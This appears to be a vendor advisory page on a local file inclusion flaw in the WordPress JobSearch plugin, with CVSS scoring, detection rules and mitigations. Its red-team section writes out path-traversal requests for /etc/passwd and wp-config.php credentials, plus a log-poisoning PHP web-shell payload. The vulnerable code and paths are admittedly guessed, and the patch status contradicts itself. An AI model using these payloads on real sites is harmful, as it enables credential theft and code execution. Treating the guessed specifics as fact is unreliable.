CVE-2025-52806
Executive Summary
CVE-2025-52806 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Eyecix JobSearch WordPress plugin (slug: wp-jobsearch). The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file to obtain database credentials, or potentially achieving remote code execution if the attacker can upload a malicious file (e.g., via a separate file upload vulnerability) and then include it.
The vulnerability affects all versions of the plugin prior to 3.0.8. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the technical severity (CVSS 7.5) and the lack of a patch make this a high-priority issue for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is significant because:
- Widespread adoption: The plugin is used by many recruitment and job board websites.
- No patch available: Users cannot update to a secure version, forcing them to either disable the plugin or implement virtual patching.
- Potential for backdoor: If the plugin is abandoned, attackers could compromise the plugin's update channel to distribute malicious code.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (HIGH)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The victim does not need to perform any action.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Sensitive files can be read.
- Integrity Impact: None (I:N) – File contents cannot be modified.
- Availability Impact: None (A:N) – The service is not disrupted.
Threat Level: HIGH. The ease of exploitation and the potential for data breach make this a critical vulnerability for any site running the vulnerable plugin.
Deep Dive & Mechanics
The vulnerability is a classic PHP Local File Inclusion (LFI). The plugin likely uses a user-supplied parameter (e.g., page, file, template) in a PHP include() or require() statement without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.
Example vulnerable code pattern:
$file = $_GET['file'];
include($file . '.php');
By sending a request like:
GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../etc/passwd
The attacker can read the /etc/passwd file. More critically, they can read wp-config.php to obtain database credentials.
Why it's dangerous:
- Information Disclosure: Read sensitive files like
/etc/passwd,/proc/self/environ, or application source code. - Remote Code Execution (RCE): If the attacker can upload a file (e.g., via a separate file upload vulnerability or by poisoning log files), they can include that file to execute arbitrary PHP code.
Vulnerable vs. Patched Code
Since no official patch is available, we can only hypothesize the fix. The patched code would likely include:
Vulnerable Code (hypothetical):
$file = $_GET['file'];
include( $file . '.php' );
Patched Code (hypothetical):
$allowed_files = array( 'page1', 'page2', 'page3' );
$file = $_GET['file'];
if ( in_array( $file, $allowed_files ) ) {
include( $file . '.php' );
} else {
// Handle error
}
The patch would implement a whitelist of allowed files or use realpath() to resolve the path and ensure it is within an allowed directory.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the vulnerable plugin (version < 3.0.8).
- Knowledge of the plugin's file structure.
Exploitation Steps:
Identify the vulnerable parameter: Use a web fuzzer (e.g., Burp Suite, ffuf) to find parameters that cause file inclusion errors. Common parameters:
page,file,template,include.Craft the payload: Use path traversal to read sensitive files.
GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../etc/passwdRead wp-config.php:
GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../wp-configAttempt RCE via log poisoning:
- Inject PHP code into the Apache access log by sending a malicious User-Agent:
User-Agent: <?php system($_GET['cmd']); ?> - Then include the log file:
GET /wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../var/log/apache2/access.log&cmd=id
- Inject PHP code into the Apache access log by sending a malicious User-Agent:
Proof of Concept (PoC) using curl:
curl -v "http://target.com/wp-content/plugins/wp-jobsearch/some-page.php?file=../../../../etc/passwd"
Blue Team (Defense & Detection)
Detection Steps:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Deploy a WAF rule to block requests containing
file=followed by path traversal sequences. - Use file integrity monitoring to detect unauthorized changes to plugin files.
Honeypot Strategy:
- Create a fake
wp-config.phpfile with a unique string (e.g.,HONEYPOT_STRING). - Monitor for any access to this file via LFI.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
file=../../../../or similar path traversal patterns. - Requests to
/wp-content/plugins/wp-jobsearch/with suspicious parameters.
File System IOCs:
- Unexpected inclusion of files like
/etc/passwd,/proc/self/environ, orwp-config.phpin web server logs. - Presence of PHP shells or backdoors in the uploads directory.
Log IOCs:
- Apache/Nginx access logs showing
GET /wp-content/plugins/wp-jobsearch/...?file=... - PHP error logs showing
include(): Failed opening '...' for inclusion
Detection Engineering
YARA Rule
rule CVE_2025_52806_LFI_JobSearch {
meta:
description = "Detects attempts to exploit CVE-2025-52806 in wp-jobsearch plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52806"
strings:
$path_traversal = /file=\.\.\/\.\.\/\.\.\/\.\.\//
$wp_config = /file=.*wp-config/
$etc_passwd = /file=.*etc\/passwd/
condition:
any of them
}
Sigma Rule
title: CVE-2025-52806 - JobSearch LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting the wp-jobsearch plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'file=../'
- 'file=%2e%2e%2f'
condition: selection
falsepositives:
- Legitimate use of relative paths (rare)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-52806 - JobSearch LFI Attempt";
flow:to_server,established;
content:"/wp-content/plugins/wp-jobsearch/"; http_uri;
content:"file="; http_uri;
pcre:"/file=(\.\.\/|%2e%2e%2f)/i";
classtype:attempted-recon;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to business operations.
- Implement a virtual patch using a Web Application Firewall (WAF) to block path traversal patterns.
- Restrict file permissions on sensitive files (e.g.,
wp-config.phpshould be readable only by the web server user).
Long-term Fix:
- The vendor must release a patched version (3.0.8 or later) that implements proper input validation and whitelisting.
- Until then, consider migrating to an alternative job board plugin.
Compensating Controls:
- Enable
open_basedirin PHP to restrict file inclusion to specific directories. - Use a security plugin like Wordfence to detect and block LFI attempts.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.